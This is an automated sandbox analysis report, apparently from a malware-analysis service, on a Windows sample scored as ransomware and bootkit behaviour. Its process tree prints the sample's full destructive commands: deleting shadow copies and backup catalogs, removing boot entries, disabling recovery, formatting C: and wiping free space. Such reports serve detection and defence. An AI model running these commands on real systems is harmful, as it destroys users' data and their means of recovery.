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FadeSEC_test.exe

windows10-2004-x64

9

FadeSEC_test.exe

windows11-ltsc_2024-x64

9

Analysis

  • user interaction
    yes
  • max time kernel
    26s
  • max time network
    27s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    22/07/2026, 18:47

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General

  • Target
    FadeSEC_test.exe
  • Size 729KB
  • Sample260722-xfcnxssdnf
  • SHA256 30cec59bb3ba41ad7a6ce8c1ca4fe98231ee84e214182772289b2353f7417849
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
9/10
bootkitdefense_evasionexecutionimpactpersistenceransomware

Malware Config

Signatures

  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Enumerates VirtualBox registry keys 2 TTPs 1 IoCs
    defense_evasion
  • Modifies boot configuration data using bcdedit 10 IoCs
  • Deletes backup catalog 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

    ransomware
  • Looks for VMWare services registry key. 1 TTPs 1 IoCs
    defense_evasion
  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • Drops file in Windows directory 8 IoCs
  • Executes a command shell one-liner 1 TTPs 14 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Checks SCSI registry key(s) 3 TTPs 4 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 31 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\FadeSEC_test.exe
    "C:\Users\Admin\AppData\Local\Temp\FadeSEC_test.exe"
    1⤵
    • Enumerates VirtualBox registry keys
    • Looks for VMWare services registry key.
    • Writes to the Master Boot Record (MBR)
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4488
    • C:\Windows\System32\cmd.exe
      cmd.exe /c vssadmin delete shadows /all /quiet & vssadmin resize shadowstorage /for=C: /on=C: /maxsize=1MB
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5568
      • C:\Windows\system32\vssadmin.exe
        vssadmin delete shadows /all /quiet
        3⤵
        • Interacts with shadow copies
        PID:4128
      • C:\Windows\system32\vssadmin.exe
        vssadmin resize shadowstorage /for=C: /on=C: /maxsize=1MB
        3⤵
        • Interacts with shadow copies
        PID:1564
    • C:\Windows\System32\cmd.exe
      cmd.exe /c wbadmin delete catalog -quiet 2>nul
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2952
      • C:\Windows\system32\wbadmin.exe
        wbadmin delete catalog -quiet
        3⤵
        • Deletes backup catalog
        PID:5776
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c bcdedit /delete {default} /f 2>nul
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4772
      • C:\Windows\system32\bcdedit.exe
        bcdedit /delete {default} /f
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:120
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c bcdedit /delete {current} /f 2>nul
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:264
      • C:\Windows\system32\bcdedit.exe
        bcdedit /delete {current} /f
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:1084
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c bcdedit /set {globalsettings} advancedoptions false 2>nul
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5760
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {globalsettings} advancedoptions false
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:1236
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c bcdedit /set {globalsettings} optionsedit false 2>nul
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1908
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {globalsettings} optionsedit false
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:5644
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c bcdedit /deletevalue {current} recoverysequence 2>nul
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5696
      • C:\Windows\system32\bcdedit.exe
        bcdedit /deletevalue {current} recoverysequence
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:6120
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c bcdedit /deletevalue {current} recoveryenabled 2>nul
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1088
      • C:\Windows\system32\bcdedit.exe
        bcdedit /deletevalue {current} recoveryenabled
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:3912
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c bcdedit /set {current} recoveryenabled No 2>nul
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1176
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {current} recoveryenabled No
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:4800
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c bcdedit /set {current} bootstatuspolicy ignoreallfailures 2>nul
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:6032
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {current} bootstatuspolicy ignoreallfailures
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:5652
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c reagentc /disable 2>nul
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5664
      • C:\Windows\system32\ReAgentc.exe
        reagentc /disable
        3⤵
        • Drops file in Windows directory
        PID:2336
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c reagentc /boottore 2>nul
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1368
      • C:\Windows\system32\ReAgentc.exe
        reagentc /boottore
        3⤵
        • Drops file in Windows directory
        PID:4780
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c bcdedit /export C:\Windows\Temp\bcd.bak 2>nul & del /f /q C:\boot\bcd 2>nul & bcdedit /createstore C:\boot\bcd 2>nul
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2628
      • C:\Windows\system32\bcdedit.exe
        bcdedit /export C:\Windows\Temp\bcd.bak
        3⤵
        • Modifies boot configuration data using bcdedit
        • Suspicious use of AdjustPrivilegeToken
        PID:2464
      • C:\Windows\system32\bcdedit.exe
        bcdedit /createstore C:\boot\bcd
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:4692
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c format C: /Q /FS:NTFS /Y 2>nul & cipher /w:C: 2>nul
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5360
      • C:\Windows\system32\format.com
        format C: /Q /FS:NTFS /Y
        3⤵
          PID:5484
        • C:\Windows\system32\cipher.exe
          cipher /w:C:
          3⤵
            PID:888
      • C:\Windows\system32\vssvc.exe
        C:\Windows\system32\vssvc.exe
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1200
      • C:\Windows\system32\wbengine.exe
        "C:\Windows\system32\wbengine.exe"
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4996
      • C:\Windows\System32\vdsldr.exe
        C:\Windows\System32\vdsldr.exe -Embedding
        1⤵
          PID:2004
        • C:\Windows\System32\vds.exe
          C:\Windows\System32\vds.exe
          1⤵
          • Checks SCSI registry key(s)
          PID:3228

        Network

              MITRE ATT&CK Enterprise v16

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              Downloads

              ReAgent.log
              • Path C:\Windows\Logs\ReAgent\ReAgent.log
              • Size 2KB
              • SHA256 f5e81c72c2f46280bfb90a0c09ea5126956ad9bc93c821f12af614407ff7cfab
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              diagerr.xml
              • Path C:\Windows\Panther\UnattendGC\diagerr.xml
              • Size 14KB
              • SHA256 5ec5318834ccb9629578e669f90f25edac86939daacafb657535913b109022db
              • MD5 SHA1 SHA512 SSDEEP TLSH
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              diagwrn.xml
              • Path C:\Windows\Panther\UnattendGC\diagwrn.xml
              • Size 16KB
              • SHA256 9f9343cb07821ad1224224494535ccbf66f70e3c9035d5c6d85ce1e4351a0320
              • MD5 SHA1 SHA512 SSDEEP TLSH
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              setuperr.log
              • Path C:\Windows\Panther\UnattendGC\setuperr.log
              • Size 947B
              • SHA256 f67be8ddffda9278f6ca9726579dc7e3efc46020f279df0b4a43ea4de372c280
              • MD5 SHA1 SHA512 TLSH
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